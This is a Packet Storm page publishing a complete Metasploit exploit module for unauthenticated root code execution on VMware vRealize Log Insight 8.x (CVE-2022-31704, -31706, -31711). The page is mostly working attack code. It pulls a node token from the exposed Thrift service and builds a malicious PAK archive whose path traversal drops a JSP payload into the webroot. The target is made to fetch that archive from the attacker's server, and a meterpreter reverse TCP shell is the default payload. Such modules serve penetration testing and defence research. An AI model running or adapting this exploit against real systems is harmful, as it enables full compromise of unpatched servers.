exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

VMware vRealize Log Insight Unauthenticated Remote Code Execution

VMware vRealize Log Insight Unauthenticated Remote Code Execution
Posted Sep 11, 2023
Authored by Ege Balci, Horizon3.ai Attack Team | Site metasploit.com

VMware vRealize Log Insights versions 8.x contain multiple vulnerabilities, such as directory traversal, broken access control, deserialization, and information disclosure. When chained together, these vulnerabilities allow a remote, unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. This Metasploit module achieves code execution via triggering a RemotePakDownloadCommand command via the exposed thrift service after obtaining the node token by calling a GetConfigRequest thrift command. After the download, it will trigger a PakUpgradeCommand for processing the specially crafted PAK archive, which then will place the JSP payload under a certain API endpoint (pre-authenticated) location upon extraction for gaining remote code execution. Successfully tested against version 8.0.2.

tags | exploit, remote, arbitrary, root, vulnerability, code execution, info disclosure
advisories | CVE-2022-31704, CVE-2022-31706, CVE-2022-31711
SHA-256 | 2e4132d3093987ff065179429e52ff5e9baad8185fde7f58136c18d0aa950a90

VMware vRealize Log Insight Unauthenticated Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/thrift'
require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::CmdStager::HTTP
include Msf::Exploit::Retry
include Msf::Exploit::FileDropper # includes register_files_for_cleanup
prepend Msf::Exploit::Remote::AutoCheck

Thrift = Rex::Proto::Thrift

def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware vRealize Log Insight Unauthenticated RCE',
'Description' => %q{
VMware vRealize Log Insights versions v8.x contains multiple vulnerabilities, such as
directory traversal, broken access control, deserialization, and information disclosure.
When chained together, these vulnerabilities allow a remote, unauthenticated attacker to
execute arbitrary commands on the underlying operating system as the root user.

This module achieves code execution via triggering a `RemotePakDownloadCommand` command
via the exposed thrift service after obtaining the node token by calling a `GetConfigRequest`
thrift command. After the download, it will trigger a `PakUpgradeCommand` for processing the
specially crafted PAK archive, which then will place the JSP payload under a certain API
endpoint (pre-authenticated) location upon extraction for gaining remote code execution.

Successfully tested against version 8.0.2.
},
'License' => MSF_LICENSE,
'Author' => [
'Horizon3.ai Attack Team', # Original POC & analysis
'Ege BALCI <egebalci[at]pm.me>', # Metasploit Module
],
'References' => [
['ZDI', '23-116'],
['ZDI', '23-115'],
['CVE', '2022-31706'],
['CVE', '2022-31704'],
['CVE', '2022-31711'],
['URL', 'https://www.horizon3.ai/vmware-vrealize-log-insight-vmsa-2023-0001-technical-deep-dive'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2023-0001.html'],
],
'DisclosureDate' => '2023-01-24',
'Platform' => %w[unix linux],
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'VMware vRealize Log Insight < v8.10.2',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'SSL' => true,
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true
}
}
]
],
'DefaultTarget' => 0,
'Payload' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'WfsDelay' => 15
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options(
[
Opt::RPORT(443),
OptPort.new('THRIFT_PORT', [true, 'Thrift service port', 16520]),
OptInt.new('THRIFT_TIMEOUT', [true, 'Timeout duration for thrift service', 10]),
OptString.new('TARGETURI', [true, 'The URI of the VRLI web service', '/'])
]
)

register_advanced_options(
[
OptInt.new('WaitForResponseTimeout', [ true, 'The timeout in seconds for RemotePakDownload response', 10 ]),
OptInt.new('WaitForUpgradeDuration', [ true, 'The sleep duration in seconds for PakUpgrade process', 2 ])
]
)
end

def check
print_status "Checking if #{peer} can be exploited."
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'i18n', 'component'),
'method' => 'GET'
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
translation = JSON.parse(res.body.gsub(/^.+= /, '').gsub(/;/, ''))
return Exploit::CheckCode::Unknown if translation.nil? || !translation.key?('version')

version = Rex::Version.new(translation['version'])
if version <= Rex::Version.new('8.10') && version >= Rex::Version.new('8.0') # This is not exactly the product version but we can use it
return Exploit::CheckCode::Appears("VMware XRLI Version: #{translation['version']}")
end

Exploit::CheckCode::Safe
end

def generate_malicious_tar
mf_file = <<~EOF.strip
{
"CHECKSUMS": [
{
"CHECKSUM": "407791f5831c4f5321cda36ff2e3b63da2819354",#{' '}
"FILE_NAME": "eula.txt"
},#{' '}
{
"CHECKSUM": "8ab2c0a6d01a36d0daad230dbcb229f1b87154e6",#{' '}
"FILE_NAME": "cn_eula.txt"
},#{' '}
{
"CHECKSUM": "8ca69bdc2ddda5228e893c4843d9f4afc0790247",#{' '}
"FILE_NAME": "de_eula.txt"
},#{' '}
{
"CHECKSUM": "4278004a1f2a7a3f2d9310983679868ebe19e088",#{' '}
"FILE_NAME": "es_eula.txt"
},#{' '}
{
"CHECKSUM": "95280fd7033b59094703a29cc5d6ff803c5725af",#{' '}
"FILE_NAME": "fr_eula.txt"
},#{' '}
{
"CHECKSUM": "f8ee67f279b7f56c953daa737bbbaad3f0cb719d",#{' '}
"FILE_NAME": "ja_eula.txt"
},#{' '}
{
"CHECKSUM": "aaa14f774fc9fe487ae8fea59adfca532928f4a2",#{' '}
"FILE_NAME": "ko_eula.txt"
},#{' '}
{
"CHECKSUM": "d7003b652dd28d28af310c652e2a164acaf17580",#{' '}
"FILE_NAME": "tw_eula.txt"
},#{' '}
{
"CHECKSUM": "b0034c7f14876be3b6a85bde0322c83b78027d70",#{' '}
"FILE_NAME": "upgrade-driver"
},#{' '}
{
"CHECKSUM": "b906d570101d29646966435d2bed8479f4437216",#{' '}
"FILE_NAME": "upgrade-image-8.10.2-21145187.rpm"
}
],#{' '}
"FROM_VERSION": "8.8.0-0",#{' '}
"REQUIRED_SPACE": "1073741824",#{' '}
"RPM_INFO": {
"KEY_LIST": [],#{' '}
"REBOOT": "False",#{' '}
"RPM_LIST": [
{
"ARGUMENTS": [
"--nodeps"
],#{' '}
"FILE_NAME": "upgrade-image-8.10.2-21145187.rpm",#{' '}
"OPTION": "INSTALL_OR_UPGRADE"
}
]
},#{' '}
"TO_VERSION": "8.10.2-21145187"
}
EOF

cert_file = <<~CERT
SHA1(VMware-vRealize-Log-Insight.mf)= 9869831f4522f9aaaf2f71b54267c487a20c0d46f4dc884b56a2c77ea971aabd2839a39b22b0a864fa1825c7a637f25c85b99cfb9bf528990b7692cc5d526398fa6000809a94baaf9edcf20fab919f866014745bbf0a2cabadd76b8b6ec0ef862b803039021a4ebed2632bdecf2b77c60389e31f093ad010abeb33de1e95e59cb66a15c019b35453d71484e13f728fa74736bbe4cde37feddacef021feb0023b052ca00dd4563f4424e6387c33ffa166fb0331581a3889be4f2515512f1f15ea5d56aa43fe6a8d9b347b242edf2276eba7b055b8463f1151eab84d97d4d58bef4708080dbf0b96d4783ca8b596467a8965b91c2fddf1da549c0df34aa457f776
-----BEGIN CERTIFICATE-----
MIIDyzCCArOgAwIBAgIJAKH7xLtwMqSZMA0GCSqGSIb3DQEBBQUAME0xCzAJBgNV
BAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYDVQQHEwlQYWxvIEFsdG8x
FTATBgNVBAoTDFZNd2FyZSwgSW5jLjAeFw0xMDAyMjYyMjE3NDFaFw0yNjAxMDMy
MjE3NDFaME0xCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYD
VQQHEwlQYWxvIEFsdG8xFTATBgNVBAoTDFZNd2FyZSwgSW5jLjCCASAwDQYJKoZI
hvcNAQEBBQADggENADCCAQgCggEBALU9NUtC39fqG7yo2XAswUmtli9uA+31uAMw
9FFHAEv/it8pzBQZ/4r+2bN+GnXOWhuDd1K4ApKMRvoO4LwQfZxrkx4pXrsu0gdb
4OunHw0D8MrdzSoob8Js/uq+IJ+8Bhsc6b7RzTUt9HeDWzHasAJVgMsjehGt23ay
9FKOT6dVD6D/Xi3qJnB/4t/XNS6L63dC3ea4guzKDyLaXIP5bf/m56jvVImFjhhT
W2ASbnEUlZIVrEuyVcdG7e3FvZufE553JmHL0YG/0m5bIHXKRzBRx0D3HHOAzOKw
kkOnxJHSTN4Hz8hSYCWvzUAjSYL3Q8qiTd7GHJ2ynsRnu3KlzKUCAQOjga8wgaww
HQYDVR0OBBYEFHg8KQJdm8NPQDmYP41uEgKG+VNwMH0GA1UdIwR2MHSAFHg8KQJd
m8NPQDmYP41uEgKG+VNwoVGkTzBNMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2Fs
aWZvcm5pYTESMBAGA1UEBxMJUGFsbyBBbHRvMRUwEwYDVQQKEwxWTXdhcmUsIElu
Yy6CCQCh+8S7cDKkmTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQCP
nVEBVF2jYEsgaTJ1v17HNTVTD5pBPfbQk/2vYVZEWL20PtJuLeSWwoo5+TnCSp69
i9n1Hpm9JWHjyb1Lba8Xx7VC4FferIyxt0ivRm9l9ouo/pQAR8xyqjTg1qfr5V8S
fZElKbjpzSMPrxLwF77h+YB+YjqWAJpVV+fAkAvK7K9vMiFgW60teZBxVW/XlmG0
IJaSUWSI3/A+bA6fuIy8PMmpQMtm0droHrCnViAVRhMMgEC/doMH1GqUSmoiyQ1G
PifLAp5wV5/HV+S9AGrb8HGdWIvW+kBgmCl0wSf2JFYm1bpq30CVE4EC0MAY1mJG
vSqQGIbCybw5KTCXRQ8d
-----END CERTIFICATE-----
CERT

# Generate a TAR archive with dir traversal...
print_status 'Encoding the payload as JSP'
payload_jsp = Msf::Util::EXE.to_jsp(generate_payload_exe)
jsp_name = 'api-v5-documentation.jsp' # version number can be randomized
slip_name = "../../usr/lib/loginsight/application/3rd_party/apache-tomcat-8.5.82/webapps/ROOT/loginsight/api/#{jsp_name}"
register_files_for_cleanup(slip_name.gsub('../..', ''))
rand_data = Rex::Text.rand_text_alpha(35000..36000) # For realistic packet size
dummy_files = ['upgrade-image-8.10.2-21145187.rpm', 'upgrade-driver', 'eula.txt'] # Dummy but also necessary

tar = StringIO.new
Rex::Tar::Writer.new(tar) do |t|
dummy_files.each do |dum|
t.add_file(dum, 0o644) do |f|
f.write(rand_data)
end
end
t.add_file('VMware-vRealize-Log-Insight.cert', 0o644) do |crt| # We actually need the content of these files
crt.write(cert_file)
end
t.add_file('VMware-vRealize-Log-Insight.mf', 0o644) do |mf|
mf.write(mf_file)
end
t.add_file(slip_name, 0o644) do |f|
f.write(payload_jsp)
end
end
tar.seek(0)
data = tar.read
tar.close
data
end

def on_request_uri(cli, _request)
payload_tar = generate_malicious_tar
print_status "Malicious TAR payload created (#{payload_tar.length} bytes)"
print_good("Payload requested by #{peer}, sending...")
@got_request = true
send_response(cli, payload_tar)
end

def exploit
# This is important check...
fail_with(Failure::BadConfig, 'SRVHOST can\'t be localhost') if datastore['SRVHOST'] =~ /(127|0)\.0\.0\.(0|1)|localhost/

# Step 1 generate malicious TAR archive
file_name = Rex::Text.rand_text_alpha(7)
pak_name = "#{file_name}.pak"
output_file = '/dev/null'
register_files_for_cleanup("/tmp/#{pak_name}")
print_status('Starting Payload Server')
start_service('Path' => "/#{file_name}.tar")

# Connect to the Apache Thrift service
@tsock = Rex::Socket.create_tcp('PeerHost' => datastore['RHOST'], 'PeerPort' => datastore['THRIFT_PORT'])
fail_with(Failure::Unreachable, "#{peer}:#{datastore['THRIFT_PORT']} - Could not connect to the thrift service") if @tsock.nil?

# Step 2 obtain node token
print_status 'Fetching thrift config...'
send_request([
Thrift::ThriftHeader.new(method_name: 'getConfig', message_type: Thrift::ThriftMessageType::CALL)
].map(&:to_binary_s).join + "\x0c\x00\x01\x00\x00")

config = recv_response(datastore['THRIFT_TIMEOUT'])
fail_with(Failure::UnexpectedReply, 'getConfig thrift call failed') if config.nil?
token = config.match(/[0-9a-z]{8}-([0-9a-z]{4}-){3}[0-9a-z]{12}/).to_s
fail_with(Failure::UnexpectedReply, 'Could not obtain node token') if token.nil? || token.empty?
print_good "Obtained node token: #{token}"

print_status 'Sending getNodeType...'
send_request([
Thrift::ThriftHeader.new(method_name: 'getNodeType', message_type: Thrift::ThriftMessageType::CALL)
].map(&:to_binary_s).join + "\x00")

# Step 3 download the malicious pak
serve_address = "http://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{file_name}.tar"
print_status 'Sending RemotePakDownloadCommand...'
download_pak_req = "\x80\x01\x00\x01"
download_pak_req += "\x00\x00\x00\x0a\x72\x75\x6e\x43"
download_pak_req += "\x6f\x6d\x6d\x61\x6e\x64\x00\x00"
download_pak_req += "\x00\x00\x0c\x00\x01\x0c\x00\x01"
download_pak_req += "\x08\x00\x01\x00\x00\x00\x09\x0c"
download_pak_req += "\x00\x0a\x0b\x00\x01"
download_pak_req += [token.length].pack('N') + token + "\x0b\x00\x02"
download_pak_req += [serve_address.length].pack('N') + serve_address # "\x00\x00\x00\x24" + serve_address
download_pak_req += "\x0b\x00\x03" + [file_name.length].pack('N') + file_name
download_pak_req += "\x00\x00\x0a\x00\x02\x00\x00"
download_pak_req += "\x00\x00\x00\x00\x07\xd0\x00\x00"
send_request(download_pak_req)
download_resp = recv_response(datastore['THRIFT_TIMEOUT'])
fail_with(Failure::UnexpectedReply, 'RemotePakDownloadCommand thrift call failed') if download_resp.nil?
retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do
@got_request
end

# Step 4 trigger pak upgrade
print_status 'Sending PakUpgradeCommand...'
pak_upgrade_req = "\x80\x01\x00\x01"
pak_upgrade_req += "\x00\x00\x00\x0a\x72\x75\x6e\x43"
pak_upgrade_req += "\x6f\x6d\x6d\x61\x6e\x64\x00\x00"
pak_upgrade_req += "\x00\x00\x0c\x00\x01\x0c\x00\x01"
pak_upgrade_req += "\x08\x00\x01\x00\x00\x00\x08\x0c"
pak_upgrade_req += "\x00\x09\x0b\x00\x01" + [pak_name.length].pack('N')
pak_upgrade_req += pak_name + "\x02\x00\x02\x00"
pak_upgrade_req += "\x0b\x00\x03" + [output_file.length].pack('N') + + output_file
pak_upgrade_req += "\x02\x00\x04\x00"
pak_upgrade_req += "\x0b\x00\x05\x00\x00\x00\x03\x65"
pak_upgrade_req += "\x6e\x67\x02\x00\x06\x00\x00\x00"
pak_upgrade_req += "\x0a\x00\x02\x00\x00\x00\x00\x00"
pak_upgrade_req += "\x00\x07\xd0\x00\x00"
send_request(pak_upgrade_req)
upgrade_resp = recv_response(datastore['THRIFT_TIMEOUT'])
fail_with(Failure::UnexpectedReply, 'PakUpgradeCommand thrift call failed') if upgrade_resp.nil? || !upgrade_resp.to_s =~ 'The PAK file is corrupted'
print_good 'PakUpgrade request is successful'
print_status "Waiting #{datastore['WaitForUpgradeDuration']} second for PakUpgrade..."
sleep(datastore['WaitForUpgradeDuration'])

# Step 5 trigger the JSP payload.
print_status "#{peer} - Triggering JSP payload..."
disconnect

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rest-api', 'v5'),
'method' => 'GET'
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
end

def send_request(request)
@tsock.put([request.length].pack('N') + request)
end

def recv_response(timeout)
remaining = timeout
res_size, elapsed = Rex::Stopwatch.elapsed_time do
@tsock.timed_read(4, remaining)
end

remaining -= elapsed
return nil if res_size.nil? || res_size.length != 4 || remaining <= 0

res = @tsock.timed_read(res_size.unpack1('N'), remaining)

return nil if res.nil? || res.length != res_size.unpack1('N')

return res_size + res
rescue Timeout::Error
return nil
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close